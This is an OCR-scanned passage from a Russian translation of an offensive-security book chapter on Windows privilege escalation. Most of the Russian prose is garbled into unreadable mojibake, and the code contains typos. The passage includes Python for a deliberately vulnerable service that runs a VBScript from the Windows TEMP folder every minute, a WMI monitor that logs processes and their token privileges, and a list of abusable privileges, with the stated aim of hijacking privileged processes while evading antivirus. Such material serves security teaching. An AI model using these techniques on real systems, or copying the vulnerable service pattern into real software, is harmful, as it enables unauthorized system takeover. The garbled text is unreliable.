CKYIO KapTy B TOM BU/I€, B KOTOPOM OHa ObLjIa HalijleHa Ha KOMITbIOTEPE JKEPTBBL.

Temiepp B BateM apceHasie €CTh HECKOTBKO UHCTPYMEHTOB JIJISI TIepeladil TOXU-
IEeHHbIX AaHHbIX. Kakoil u3 HUX BHIOpPaTh, 3aBUCKUT OT TOTO, KaK OPraHU30BaHa
CeTh JKEePTBbI, U OT YPOBHS 6E30MIaCHOCTH B HEI.
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NMoBbiWeHMe NpuBUAErun
B Windows

Wrax, BbI TPOHUKJIN B XOPOIMIYIO, JKUPHYIO CETh MO

yrpasiaerreM Windows. Bo3aM0KHO, BOCITOIb30BAJIICH

yJIaJeHHbIM TiepernogHeHnemM Oydepa i HOXUTUIN
YUYEeTHBIE JaHHBIE C TTOMOTIbIO utiaTa. [I[puiio Bpemst
3aHATHCS MOBBIIIEHUEM TTPUBUJICTHH.

Jlaxxe ecu BBl yiKe JIeHCTBYyeTe OT UMEHU aJIMUHUCTPATOPA WJIN
¢ momortpio yaetHoi 3amucu SYSTEM, BaM, HaBepHOe, XO0UeTCSI UMETh B CBOEM
pachopsizKeHUU HECKOJIBKO CIIOCOOOB TIOTYYeHHsT STHX MPUBUJIETHIT Ha CJIydYai,
€CJIM JIMIIATECH JIOCTYIIA MOCje oYepeiHoro 00HoBIeHus OesomacHocT. Habop
3aMacHbBIX METO/IOB MOBBINIEHNsT TPUBHUJIETHIT MOKET OBITH 0JIE3EH, TAK KaK He-
KOTOPBIE OpPraHU3aliy UCIIOJIb3YIOT IPOrPaMMHOe obeciedeHe, KOTOPOe CJA0KHO
aHAJIM3UPOBATh B COOCTBEHHOM JIOKAJIBHOI cpejie, K ToMy ke mHoTAa Takoe 110
MO’KHO BCTPETHUTH TOJIBKO B KOMIIAHUSX TOTO JKe MaciiTaba u ¢ TIOX0Keil CTPyK-
TYpOIi.

OG6BIYHO MOBBITIEHNE TIPUBUJIETUIN TIPOUCXO/UT 32 CYET HKCILIYATAIUH TLI0XO0 Ha-
MCAHHOTO JipaiiBepa nim gedexra B sape Windows, HO ecJii BbI HCTIOJIb3Y€eTe 9KC-
MTONT HIU3KOTO Ka4eCTBa MJIH B TPOIECCE AKCILTyaTAIInH BO3HUKAIOT IPOOIEMBI, BBI
PHCKYeTe CIPOBOIMPOBATH HECTAOMIIbHYO paboTy crcTeMbl. JlaBaiiTe paccMOTpUM
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JIPyTHE Ty TH MOJTyYEHUs MOBbIeHHBIX npuBuiernii B Windows. B kpymHbIx op-
raHU3aIUAX CUCTEMHBIE AIMIHUCTPATOPBI aBTOMATU3UPYIOT paboTy, ITaHUpPYsT
BBITIOJTHEHHE 33/[aHIIT WJTH CITYsKO, KOTOPBIE TIOPOKIAIOT JOYEPHUE TPOIIECCHI, UITH
samyckas ckpuntsl Ha VBScript mwim PowerShell. ¥ mocraBmumkos mpoaykros
1 YCJIYT TOKE 3a4acTyI0 €CTh aBTOMATU3MPOBAHHbIE, BCTPOCHHBIE 33/IaHNs, KOTOPBIE
BeyT cebst TakuM ke 06pazom. Hac nHTepecyroT Jiio6bie MPUBUIETHPOBAHHbIE ITPO-
IIECCBI, KOTOPBIE 3aHMMAIOTCs1 06pabOTKOIT (haiiioB MIK 3aITyCKOM IIPOTPAMM 1 TIPH
HTOM JIOCTYITHBI JIJISI 3aITUCH HENPUBIJIETMPOBAHHBIM T10b30BaTesisiM. B Windows
HOBBIIIEHUST TPUBUIIETHIT MOKHO 00UTHCsT 6ECCIETHBIM KOJMUYECTBOM CIIOCOOOB,
U MbI OOCYIUM JIVIITh HECKOJIBKO U3 HUX. TeM He MeHee, BOOPY/KUBIIUCH STUMHU
KJIIOYEBBIMU MTPUHITMIIAME, BBl CMOJKETE JOMOJHUTH CBOU CKPUIITHI, TaK YTOObI
OHU MOTJIN WCCJIEZI0BATD IPyTHe ToTaiinbie yuacTkn Windows, B KOTOpbIe aBHO
HUKTO HE 3aTJIs/bIBaL.

Jlust Havasia IoroBOpUM O TOM, KaK IPUMEHUTbh UHCTPYMEHTAPUIl YIIPABJIEHUS
Windows (Windows Management Instrumentation, WMTI) mist cosmanmst ru6GKoro
uHTepdeiica, KOTOPBIN OTCIEKUBAET CO3AHNE HOBBIX IIPOIECCOB. MbI cobepeM 110-
Jie3HbIE JIAHHbIE, TAKKE KaK IyTU K (haiijaM, CBeleHus 0 TOM, KTO CO3/IaJI IIPOIIecc,
U Kakue MPUBUJIErHH JOCTYIIHbI B CUCTEME. 3aTeM IIe€Pe/[a/IM BCE IYTU CKPUIITY
MOHMTOPHWHTA, KOTOPBIM HENTPEPBIBHO CJIEIUT 3a CO3/[aHMEM HOBBIX (hailioB 1 3a
TEM, YTO B HUX 3aMUCBIBAETCS. DTO TMO3BOJUT HAM Y3HaATh, K KakuM (aiiam 00-
palaoTcs NPUBUJIETMPOBAHHBIE TIPOIECChl. B 3aBepiieHne Mbl 1lepexBaTuM
nporecc cosganus daiiia, BHeAPUB B TOT (haiijl Halll COOCTBEHHDIN CKPUIITOBBII
KO/, ¥ 3aCTAaBUM ITPUBUJIETMPOBAHHBIN IIPOIIECC 3AITYCTUTh KOMAHIHY0 00O0JI0YUKY.
Kpacora a10oro 1ojixozia B TOM, 4T0 OH He TPEOYeT UCIIOIb30BaHKs HUKAKUX XYKOB
B API, Graroapst 4eMy MbI MOKEM OCTaBaThCSl BHE TI0JIs 3peHUsT OOJIBIIMHCTBA
AHTUBUPYCOB.

YcTtaHoBKa Heobxogumoro MO

Jl1s1 HancaHst THCTPYMEHTApHs B 9TOM I/IaBe HaM HYKHO YCTAaHOBUTH HECKOJIBKO
6ubsmorex. Boimosaure B 060s10uke cmd . exe B Windows cireyroriee:

C:\Users\tim\work> pip install pywin32 wmi pyinstaller

Bor ysKe MOIJIM yCTAaHOBUTH pyinstaller, korma pa60TaJH/I HaJ KeﬁﬂorrepOM
U CPEICTBOM CO3/IaHWSI CHUMKOB 9KpaHa B r1aBe 8. Eciu HeT, cenaiiTe 9To cefigac
(MosKeTe MCIIoIb30BaTh Pip). Jlasibiie Hy;KHO CO34aTh IEMOHCTPAIIMOHHYTO CIIYKOY,
C TIOMOIIIBIO KOTOPO#T MBI OY/IEM TECTUPOBATH HAIIl CKPUTIT MOHUTOPUHTA.
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Co3sfgaHue ysI3BMMOM XUKEPCKOWN cny>XXb6bi

CosmaBaeMast HaM1 CJTy:KOa UMUTHPYET Psifl yI3BUMOCTEl, KOTOPbBIE YacTO BCTPe-
YaioTCs B KPYITHBIX KOPHOPATUBHBIX ceTsiX. [1o3zke B 9TOI T1aBe Mbl ee aTakyeM.
Ira cayxba Oyaer MepuoAuuecKn KOIMUPOBaTh CKPUIIT BO BPEMEHHYIO HaIKy
U 3aITycKaThb ero oTTyza. /s Havana cosnatite daitn bhservice. py:

import os

import servicemanager
import shutil

import subprocess
import sys

import win32event
import win32service
import win32serviceutil

SRCDIR = 'C:\\Users\\tim\\work"
TGTDIR = 'C:\\Windows\\TEMP'

37ech MBI BBITIOJHIEM UMIIOPT, YCTAHABAUBAEM UCXOAHBIN KaTajor s (aiiia
CKPHIITa M 3aTeM BBIOMpAEM IIeJIeBOIl KaTajor, U3 KOTOPOro OH OyaeT 3amyIeH
caysk60ii. Terrepb co3paanm camy cys;k0y B BHJIE KJacca:

class BHServerSvc(win32serviceutil.ServiceFramework):

_svc_name_ = "BlackHatService"
_svc_display name_ = "Black Hat Service"
_svc_description_ = ("Executes VBScripts at regular intervals." +

" What could possibly go wrong?")

def __init_ (self,args): ©
self.vbs = os.path.join(TGTDIR, 'bhservice_task.vbs")
self.timeout = 1000 * 60

win32serviceutil.ServiceFramework. _init__ (self, args)
self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)

def SvcStop(self): @
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
win32event.SetEvent(self.hWaitStop)

def SvcDoRun(self): ©
self.ReportServiceStatus(win32service.SERVICE_RUNNING)
self.main()

A0 KapKac Tex GYHKINI, KOTOPbIE I0JIKHA TIPEIOCTABIISATH Jit06ast ciryskOa. /lan-
HBII KJacc HacjaenyeT win32serviceutil.ServiceFramework u onpesessieT Tpu
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MeTtozia. B MeTose __init_ Mbl UHUTIIUAIU3UPYEM ServiceFramework, onrpesesiseM
MECTOITOJIOKEHUE CKPUIITA, KOTOPBIM HYKHO 3aIlyCTUTh, YCTAaHABIWBAEM BpPEMS
OKUIAHMSI VTMHON B 1 MUHYTY U co3aeM 00bekT coObiThst @. B MeToze SvcStop
yKa3bIBaeM COCTOsIHIE CJIYKObI M OCTaHABJIMBAeM ero BbinosHeHne @. B metose
SvcDoRun 3arycKaeM CIysk0y 1 BBI3bIBAEM METOJ main, B KOTOPOM OyayT paboTaTh
Hamu 3aganusg ©. Metox main nMeeT cIemyIOmi BULT:

def main(self):
while True: ©

ret_code = win32event.WaitForSingleObject(

self.hWaitStop, self.timeout)

if ret_code == win32event.WAIT_OBJECT 0: ®
servicemanager.LogInfoMsg("Service is stopping")
break

src = os.path.join(SRCDIR, 'bhservice_task.vbs')

shutil.copy(src, self.vbs)

subprocess.call("cscript.exe %s" % self.vbs, shell=False) ©

os.unlink(self.vbs)

3/1ech Mbl MHUTTIUPYeM ITUKJI @, KOTOPBI BBITOIHIETCS pa3 B MUHYTY (B COOT-
BETCTBUU C TTapaMeTpoM self.timeout), oKa ciy:kba He MOJYIUT CUTHAJ OCTa-
HOBKM @. B X0/1e BBITOTHEHNS KOMTUPYEM CKPUIIT B 1IE€JIEBOI KATAJIOT, BBITIOJTHSIEM
ero u ynamuseM daiin ©.

B riiaBHOM 6J10Ke MbI 06pabaThiBaeM BCe apryMeHTbl KOMaHIHOI CTPOKH:

if __name__ == '__main__":
if len(sys.argv) == 1:
servicemanager.Initialize()
servicemanager.PrepareToHostSingle(BHServerSvc)
servicemanager.StartServiceCtrlDispatcher()
else:
win32serviceutil.HandleCommandLine(BHServersSvc)

MHorma Ha KOMITbIOTEPE KePTBBI HEOOXOANMO CO3/IaTh HACTOSIIYTO Caysk0y. /laH-
HBIIT KapKac B 00IIHX YepTax WTIOCTPUPYET €€ CTPYKTYPY.

ITo agpecy https://nostarch.com/black-hat-python2E/ MOKHO HATU CKPUTIT bhservice_
tasks.vbs. CkomupyliTe ero B MamKy, B KOTOPOI HaXoAUTCA (haiis bhservice. py,
U TTPUCBOITE MyTh K Hell IepeMeHoil SRCDIR. Baima mamnka J0/KHA BBITJISIETh
TaK:

06/22/2020 09:02 AM <DIR>
06/22/2020 09:02 AM <DIR> ..
06/22/2020 11:26 AM 2,099 bhservice.py

06/22/2020 11:08 AM 2,501 bhservice_task.vbs
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Tenepb coszpaiiTe ucnosHgeMblil (aiin cayKO0bl ¢ TOMOIIBIO pyinstaller:

C:\Users\tim\work> pyinstaller -F --hiddenimport win32timezone bhservice.py

Ira KoMaHj1a coxpaHsieT daiiy bservice. exe B marnke dist. [Tepeiizem B Hee, 4T0OBI
YCTaHOBUTD ¥ 3allyCTUTh HalLy cay:K0y. BeIIOJHUTE OT MEHU aIMUHICTPATOPA
cJIeyTorie KOMaH/[bl:

C:\Users\tim\work\dist> bhservice.exe install
C:\Users\tim\work\dist> bhservice.exe start

Ternepb 0iMH pa3 B MUHYTY Halla crysk6a Oy/IeT 3aichiBaTh BO BDEMEHHYIO MATKY
CKPUIITOBBIN (hafiJI, BBIMOJIHSATD €10 U 3aTeM YIAJISATh. TO OYIIET MPOI0JIKATHCS,
MOKA BbI HE BBITIOJIHUTE KOMaH/Iy stop:

C:\Users\tim\work\dist> bhservice.exe stop

Cuay:k0y MOKHO 3allyCKaTh M OCTaHABJIMBATH CTOJIBKO, CKOJIBKO yroano. Ho
IIOMHUTE: €CJIM Bbl U3MEHUTE KO/l B bhservice.py, IpuieTcst co3iaBaTh HOBbIU
HCITOJTHSIEMBIH (Daiijl ¢ ITOMOIIBIO pyinstaller 1 BIMOJHATHL KOMaHIy bhservice
update, uToObI cucrema Windows niepesarpysuiia cay:x0y. Koraa Bbr 3akondmte
9KCIIEPUMEHTHPOBATD CO CJIYKOO0M B 9TOI TJIaBe, YAAIUTE €ro ¢ UCIOIb30BaAHUEM
KOMaH/Ibl bhservice remove.

I/ITaK, Yy Bac yiKe 10JI’KHO OBITH BCE TOTOBO. Tenepb IIPpUIILIO BpeEMA IMOBECEINUTHCS!

Co3zgaHMe cpeacTBA MOHUTOPUHIA MPOLIECCOB

Hecxkoubko Jiet Hazas J[KacTiH, OIMH 13 aBTOPOB 3TOH KHUTH, y4aCTBOBAJ B IIPO-
exte El Jefe kommanun Immunity, KoTopasi 3aHUMaeTCst KOHCAJITHHTOM B cepe
6esonacHoct. 1o cBoeii cytn El Jefe — ouenb mmpocrast cucteMa MOHUTOPHHTA ITPO-
I[eCCOB. DTOT HHCTPYMEHT OBLIT CO3/IAH JIJIsI TOTO, YTOOBI JTIOSIM, 00eCTIedMBAIOITAM
NT-6e30macHOCTb, OBLIO JIETYe OTCIEKUBATD CO3/IAHIE TIPOIIECCOB U YCTAHOBKY
BpenonocHoro I10.

Opnasxabr Kosera sxactuna Mapk Bypriep npemnoxkuia npuMenuts El Jefe
B aTaKyIOIIEeM KJTI0U€: ¢ TIOMOIIIBIO ATOTO MHCTPYMEHTA MOKHO OBLIO OTCJIEKIBATH
BO B3JIOMaHHBIX cricTeMax Windows mporiecchl, TprHa/IesKalie y4eTHOM 3aIicH
SYSTEM. 910 Mori1o 661 HOMOYb C BBISIBJIEHHEM TTOTEHIIUATBHO HEOE30TTaCHbIX
feiicTBUiT B X0/1e paboThI ¢ (hailramMu UK TPU CO3[IAHIH HOBBIX 1TpotteccoB. M est
cpaboraJia, B pe3yJibraTe 4ero yJaanoch 0OHapyKUTh MHOTOYMCJIEHHbIE ONTUOKN
MOBBINEHWS TIPUBUJIETUH, KOTOPbIE IaBAJTH MOJHBIN IOCTYII K CUCTEME.
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V3HavasibHO CyIiecTBeHHBIM HefjocTaTkoM crcteMbl El Jefe 6b1710 To, o /17151 riepe-
XBaTa BBI30BOB CCTEMHOI (DyHKITNHU CreateProcess oHa BHeApsiaa DLL B kaxkabrit
polecc. 3aTeM OHa COEMHSIIACh 110 UMEHOBAHHOMY KaHAJIy ¢ KJIMEHTOM cOopa
JIAHHBIX, KOTOPBIN TIepe/laBajl CBEIEHUsI O CO3/[aHUM MIPOIECCOB JKYPHATHbHOMY
cepsepy. K coxanenuio, antuupyctoe 11O B GOJBIIMHCTBE CBOEM TOKe Tiepe-
XBaTbhIBAa€T BbI30BbI CreateProcess, MO9TOMY TP BbinogHeHn 60K 0 60k ¢ El
Jefe ono 6o mocumTaer Bair Ko BPEAOHOCHBIM, JTUOO BBISIBUT MTPOOJIEMBI CO
CTaOMIIbHOCTBIO CHCTEMBI.

Mol BoccosauM HeKOTopbie BoamoskHocTr MoruTopunra El Jefe 6es nepexsara
BBI30BOB U MIPUMEHWM UX JIJIST aTaKi. ITO JOJIKHO C/IeJIaTh Hallle CPeICTBO MO-
HUTOPWHTA MIEPEHOCUMBIM U JIaTh HaM BO3MOKHOCTb MCIIOJIb30BaTh €r0 BMECTE
c autuBupycHbiM I1O 6e3 kakux-1u60 IpodIEM.

Monutopunr npoueccos ¢ nomowsbio WMI

API wnctpymentapus ans ynpasierus Windows (Windows Management
Instrumentation, WMI) naet mporpamMmucTaM BO3MOXKHOCTh OTCJIEKUBATH
B CHCTEMeE OIpeieIEHHbIE COOBITHST 1 MOJy4aTh 0OpaTHbIE BBI3OBBI B CJIydae X
BO3HUKHOBEHUsI. MBI BOCIIOJIb3yeMCsI 9TUM MHTEPHENCOM, 4TOObI 3aIMChIBATH
MPU CO3/IAHUM TIPOIecca TEHHYI0 MH(MOPMAITNIO: BPeMs CO3/IaHUs, TOJb30Ba-
TeJIst, 3aIlyCTUBIIETO TIPOTECC, UCIOMHIEMbIN (haiij, KOTOPBINA ObLT 3amyIieH,
BMeECTe C ero apryMeHTaMU KOMaHIHOU cTpoku, a Takxke ID camoro mporecca
1 €T0 POANTENSA. DTO MO3BOJUT BBIABUTH MHOKECTBO ITPOIIECCOB, CO3/1aBAEMBIX
MPUBUJIETHPOBAHHBIME YYETHBIMU 3AIUCSIMHE, B YaCTHOCTHU Te, KOTOPbIe oOparia-
10TCA K BHEIHNM aiimam, TakuM kak VBScript mmm BAT-ckpunter. [losryyns
BCIO 3TY WH(MOPMAIIUTO, MBI OTIPE/IESTUM, KaK1e TTPUBUJIETUN IOCTYITHBI [ TTPO-
I[ECCOB C COOTBETCTBYIOMMMHU MapKepaMu. B HEKOTOPBIX PEAKUX CAydasix BaM
Oy/yT BCTpEUYaThCst TPOIECCHI, CO3/IaHHBIE OT UMEHU OOBIYHOTO MOJIb30BATEIS,
HO TTOJTyYWBIINE JOTOJHNATEJbHbIE TTPUBUIIETHN, KOTOPBIMU BbI CMOXKETe BOC-
MTOJTH30BATHCSI.

Jlist Havyasia HaluIeM dJieMEeHTAPHBIN CKPUIIT MOHUTOPUHTA, KOTOPBINA Oy/1eT
[IPEI0CTABJISITH OCHOBHYIO MH(OPMAIIHUIO O MPOIleccax, 3aTeM JOMOJHUM €ro JIJist
OIIpe/iesIeHUst IOCTYITHBIX TIPUBHIIErHil. [laHHBIN KOz ObLI IT03aMMCTBOBAH CO CTPa-
Hutbl Python WMI (http://timgolden.me.uk/python/wmi/tutorial.html) 1 azanTupoBan
JUTST HAIAX HYZKI. 3aMeThTe, YTO /i TToaydeHuss NHPOPMAIUU O TPUBUIIETHPO-
BaHHBIX ITPOIIECCAX, CO3/IAHHBIX, K TPUMePY, yueTHol 3anuchio SYSTEM, ckpurt
MOHUTOPHHTA HYKHO Oy/IeT 3aIlycKaTh OT UMeHU afMuHucTparopa. CHavasa 10-
GaBbre B (hails process_monitor.py CIeayromuii KO/
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import os

import sys

import win32api
import win32con
import win32security
import wmi

def

log_to_file(message):
with open('process_monitor_log.csv', 'a') as fd:
fd.write(f'{message}\r\n')

def monitor():

head = 'CommandLine, Time, Executable, Parent PID, PID, User, Privileges'

log_to_file(head)

c = wni.WMI() ©

process_watcher = c.Win32_Process.watch_for('creation') @

while True:

try:
new_process = process_watcher() ©
cmdline = new_process.CommandLine
create_date = new_process.CreationDate
executable = new_process.ExecutablePath
parent_pid = new_process.ParentProcessId
pid = new_process.ProcessId
proc_owner = new_process.GetOwner() @
privileges = 'N/A’
process_log_message = (
f'{cmdline} , {create_date} , {executable},’
f'{parent_pid} , {pid} , {proc_owner} , {privileges}’
print(process_log_message)
print()
log to_file(process_log message)
except Exception:
pass
if __name__ == '__main__":
monitor()

[TepBBIM [€/10M MBI cO3/1aeM dK3eMILIsIp Kiaacca WMI @ u npocuMm ero ciaeanThb
3a cOOBITHEM CO3aHKS TIPOIlecCOB @, 3aTeM BXOJIUM B IIUKJI, KOTOPBIN GJIOKK-
pyercs, Toka proces_watcher He BepHeT coOBITHE 0O HOBOM Tipoiiecce ©. I1o
cobObITHeE TIpeacTaBseT coboil kiacce WMI no HazBanuem Win32_Process, KO-
TOPBII COAEPIKUT BCIO HHTEPECYIONyIo Hac nHopMaiuio (moapobHeii 06 sToM
KJIacce MOKHO TIOYUTaTh B OHJalH-gokyMeHTannu MSDN). Mbl Bbi3biBaeM
OJIHY U3 €TO d)yHKHHfI, GetOwner @, YTOOBI OIIPE/IeJINTD, KTO 3aILyCTUJI IIPOIECC.
Best undopmarius o mporecce, KOTOPYIO Mbl cOOpan, BBIBOAUTCS Ha 9KPaH U 3a-

MUCHIBaeTCA B hati.
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MpoBepka HaNUcAaHHOTO

[laBaiiTe 3amycTuM CKPUNT MOHUTOPUHTA W CO3/1aJINM HECKOJBKO TTPOIECCOB,
I{TO6I)I YBU/IETDH, KaK BbITJVIA/IUT €TI0 BbIBO/L:

C:\Users\tim\work>python process_monitor.py

"Calculator.exe",

20200624083538.964492-240 ,

C:\Program Files\WindowsApps\Microsoft.WindowsCalculator\Calculator.exe,
1204 ,

10312 ,

('DESKTOP-CCOIN7I', @, 'tim') ,

N/A

notepad ,
20200624083340.325593-240 ,
C:\Windows\system32\notepad.exe,
13184 ,

12788 ,

('DESKTOP-CCOIN7I', @, 'tim') ,
N/A

Besren 3a ckpumnToM MBI 3aITyCTHTH hotepad.exe 1 calc.exe. Kak BuamnTe, Hat
MHCTPYMEHT BBIBOJIUT KOPPEKTHYIO MH(MopMaIuio 06 aTux mpoieccax. Termepnb
MOJKETE B3SITh JAJIUTEIbHBIN [IePEPhIB: T03BOJIBTE CKPUIITY IIPOPaboTaTh BECH AEHb
U 3211 CaTh CBEACHM 000 BCEX aKTUBHBIX IIPOLECCAX, 3AILJIAHNPOBAHHBIX 3a[aHIIX
1 OGHOBJICHHSIX PA3JIMYHOTO TPOrPaMMHOTO obectiedenst. Econ (He) ToBeser, Bbl
MOKeTe BBISIBUTh BPEIOHOCHYIO IIporpamMmy. Takske OyIeT MoJie3HO BOUTH B CH-
CTeMY U BBIUTH U3 Hee, HOCKOJIbKY COOBITHS, TeHePUPYEeMble 9TUMMU JeiiCTBUSIMHU,
MOTYT YKa3bIBaTh Ha IPUBUIETUPOBAHHbIE TIPOIECCHI.

Vak, Mbl co3ziaii 6a3zoBoe CPeCTBO MOHUTOPUHTA TIPOTIECCOB. Terephb 3amoaHuM
noJie privileges (mpuBmMiIernn ) B HateM xxypHasie. Ho cnauamna cienyer HeMHOTO
pa3o6paThesi B TOM, Kak paboTaiot npusuiiernn B Windows 1 moueMy OHI BasKHBI.

Mpueunerun mapkepos B Windows

Cormacuo Microsoft, Mapkep — 9T0 0GBEKT, OMUCHIBAIOIIIIT KOHTEKCT GE30TTIacHO-
cTH I1polecca i noroka (eM. «Mapkepsl ocryiias Ha caiite http://msdn.microsoft.
com/). VIHpIMM cJioBaMu, IpaBa JOCTYIAa U IIPUBUJIETUN MapKepa OIIpe/e/IsioT,
KaKue JeHCTBUS MOXKET BBIIIOJHSTD IIPOIIECC UM OTOK.

[I1ox0€e moHnMaHme TOIro, KaK pa6OTaIOT 9TU MapPKePbl, MOKET IMMPUBECTU K HE-
MNpUATHOCTAM. PaSpa6OT‘{I/IK CpeacTBa 6630113.CH0CTI/I7 ,Z[BI/DKI/IMHﬁ Oarumu
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HaMePEeHUsIMU, MOKET CO3/aTh IPUJIOKEHUE I/ 00JIaCTH YBEAOMIEHNUH, KOTO-
poe TT03BOJIUT HETTPUBUJIETUPOBAHHOMY IT0JIb30BATENIO YIIPABJIATH OCHOBHOM
caysx60it Windows, nipeacrasistionieii cob6oii apaiisep. YToObl 9TO clesaTh,
pa3paboTUYKK BHI3OBET B KOHTEKCTE Mpoliecca craHaapTHyio GyHkinnio Windows
API AdjustTokenPrivileges u 3aTeM 0e3 3ajiHeil MBICJIM BBIAACT PUIOKEHIIO
B 00J1aCTH yBeJOMJIEHWIT TIpUBUJIETHIO SeLoadDriver. IIpu 9TOM OH MOKeET He
3aMETHUTh, YTO JI060I, KTO MPOHUKHET BHYTPb 3TOTO MPUJIOKEHNS, TOJTYUUT BO3-
MOSKHOCTH 3arpysKaTh U BBIFPYKATh JI0ObIE IPailBEPHI, YTO MO3BOJIUT 3aMTyCTUTh
PYTKHUT B peskuMe sijipa. Ecjiv 9To Ipoun30iijieT, Hallla [TeceHKa CIieTa.

[TomHUMTE, UTO €CAU CPEACTBO MOHUTOPHWHTA MPOIIECCOB HENb3S 3aIIyCTUTH OT
nvern SYSTEM i aaMuHHCTPaTOpa, BaM HEOOXOANMO CJIEITH 3a IIPOIECCAMH,
KOTOpbIe noddaromess MOHUTOPUHTY. CYIIECTBYIOT JIM KaKUE-TO JOMOJHUTEb-
HbIe IPUBUJIETUH, KOTOPBIMU BBl MOJKeTe BOCIIOIb30BaThes? [lomb3oBarenbekuii
MPOIECC C HEKOPPEKTHBIMU MPUBUJIETUSIMH — 9TO OTJTUIHBIN IAHC TMOJYIUTh
poctyn K yderHoi sanucu SYSTEM wim BeInoHUTE KoA B szape. B tabi. 10.1
HepevncIeHbl HHTepeCHbIe TIPUBUJIETHH, Ha KOTOPbIE BCeria 0OpaliaioT BHUMaHIe
ABTOPBI 3TON KHUTH. JTOT TepeYeHb He UCUYEPITBIBAIOIINIL, HO OH MOKET TIOCTY-
JKATH XOPOIIeil oTIpaBHOM ToUKoi. CIIMCOK BCeX MPUBUJIETHIT MOKHO HANUTH HA
Beb-caiite MSDN.

Tabnuua 10.1. Mpueunerun, sacnyxmeaowme BHUMAHUS

Mpueunerns MpenocTtasnsiemeiit goctyn

SeBackupPrivilege  TTo3BoJisieT moIb30BaTEIO MPOIIECCA BBITIOTHITD PE3ePBHOE KOITH-
poBanue (HailJIoB U KaTaJIoroB, a TAK:Ke BbIIAET IOCTYIT HA YTEHUe
(READ) k chaiiyiam He3aBUCHMO OT TOTO, 4TO YKa3aHO B UX CITUCKAX
yipassenus goctyiom (access control list, ACL)

SeDebugPrivilege [T03BOJISIET TTOJIB30BATEIO TIPOLIECCA OTIAKUBATD JAPYTHE aKTHBHBIE
IIPOLECChI, B TOM YMCJI€ TI0JIy4aTb UX JECKPUIITOPDI JIA BHEAPEHUA
B Hux DLL wim gpyroro xoza

SeLoadDriver [TosBossieT nosIb3oBaTe IO IpoOIlecca 3arpyskaTh U BHITPY-KaTh
JpaiiBepbl

Wrak, BBl 3HaeTe, Ha KaKye MPUBHUJIETMU CTOUT oOpaliaTh BHUMaHue. Terepsb
npumeruM Python s aBromaTudeckoro mosxydeHust nHGOPMaIUK O MPU-
BUJIETUSAX MIPOIECCOB, KOTOPbIE MBI OTCJIeKUBaeM. MBI BOCIIOJIb3yeMCsT MOJLY-
JaMu win32security, win32api u win32con. Ecau BBl momazete B cutyammio,
KOTZIa 9TU MOIYJIU HEeJb3s 3aTPy3UTh, TOMBITANTECH TTEPEBECTU BCe (DYHKITNM,
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npe/cTaBIeHHbBIE Jlajiee, B CHCTEMHBIE BBI3OBBI ¢ TIOMOIIBIO OMOINOTEKH ctypes.
ITO BO3BMOKHO, HO TOTPEOYET HAMHOTO OOJIbIIE YCHITHIL.

Otkpoiite (aiin process_monitor.py u go0aBbre CAEAYIONINI KO HEIIOCPe/l-
CTBEHHO HAJI y’Ke nMeronietica ¢hyHkimeir log_to_file:

def get_process_privileges(pid):
try:
hproc = win32api.OpenProcess( ©
win32con.PROCESS_QUERY_INFORMATION, False, pid
)
htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY) @
privs = win32security.GetTokenInformation( ©
htok,win32security.TokenPrivileges
)
privileges =
for priv_id, flags in privs:
if flags == (win32security.SE_PRIVILEGE_ENABLED | @
win32security.SE_PRIVILEGE_ENABLED_BY_DEFAULT):
privileges += f'{win32security.LookupPrivilegeName(None,
priv_id)}|' ©

except Exception:
privileges = 'N/A’

return privileges

Mbi ucniosibayem ID miporiecca, uTo6bI oayYnuTh ero geckpuirop @. Jaibiine 6epem
MapKep Tporiecca @ u 3anparBaeM HHGOPMAITAIO 0 HeM ©, OTTIPaBJISIS CTPYKTYPY
win32security.TokenPrivileges. Bpi3oB GetTokenInformation Bo3BpalaeT CIu-
COK KopTeskeit. [lepBbiM a71eMeHTOM KOPTeKa SIBISETCS TPUBUIIETHS, @ BTOPOU AJ1e-
MEHT TOBOPHUT O TOM, BKJIFOUeHa OHa Wi HeT. [TockobKy HAC MHTEPECYIOT TOJTbKO
BKJIIOUEHHbIE IPUBUJIEIMH, MbI CHaYaJIa IIpoBepsieM GUThl SE_PRIVILEGE_ENABLED
1 SE_PRIVILEGE_ENABLED_BY_DEFAULT @, a 3aTeM coXpaHsieM yZ00604rTaeMoe Ha-
3BaHUE COOTBETCTBYIONIEN puBUiIeruu ©.

Ternepb oTpemakTUPyEM yrKe UMEIOTIIIICS KOJI, 4UTOObI IIPABUIBHO BEIBOAUTD 1 3a-
UChIBaTH ATy nHpopmaruio. Haiiiure crpouky

privileges = "N/A"
" 3aMEHUTE €€ CIe/IyIOIINM KO/IOM:
privileges = get_process_privileges(pid)

I/ITB.K, MbI ,Z[O63.BI/IJII/I KO /IJId OTCJICKMBaHMA HpHBHJIeI‘Hﬁ. Tenepb €II1€ pa3 3ally-
CTHUM CKPHUIIT pI"OCESS_mOHitOI" . py N IIPOBEPUM €I'0 BbIBO/. Bor AOJIZKHBI ITOJIYYUTh
CBe/icHuA O IIPUBUJIETUAX!
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C:\Users\tim\work> python.exe process_monitor.py

"Calculator.exe",

20200624084445.120519-240 ,

C:\Program Files\WindowsApps\Microsoft.WindowsCalculator\Calculator.exe,
1204 ,

13116 ,

('DESKTOP-CC9IN7I', @, 'tim') ,

SeChangeNotifyPrivilege]|

notepad ,

20200624084436.727998-240 ,

C:\Windows\system32\notepad.exe,

10720 ,

2732 ,

('DESKTOP-CC9IN7I', @, 'tim') ,
SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|

Kak Buznte, HaM yaJI0Ch 3alIMCaTh BKIIOYEHHbBIE TPUBUJIETHH OTHX MTPOIIECCOB.
Terepb MbI MOKEM JIETKO YCOBEPIIEHCTBOBATD TOT CKPHIIT TaK, YTOOBI OH 3aITHChI-
BaJI TOJILKO T€ IIPOLECChI, KOTOPbIE 3aIlyIEHbl OT KIMEHH HEIIPUBUIETMPOBAHHOTO
[OJIb30BaTe s, HO 00/1a1AI0T UHTEPECHBIMU IIPUBUIErHAMU. TAKO MOHUTOPUHT
[IO3BOJIMT HaM HAXOAUTh IIPOIECCHI, KCIIOJIb3YOIIe BHeIHIe (daiiibl Hebesonac-
HBIM CIIOCOOOM.

HﬂﬂeperOHKM C YYXKMM Kogom

[TakerHbre daiinbr, a Takske ckpuntbl VBScript u PowerShell yrpomator sxustb
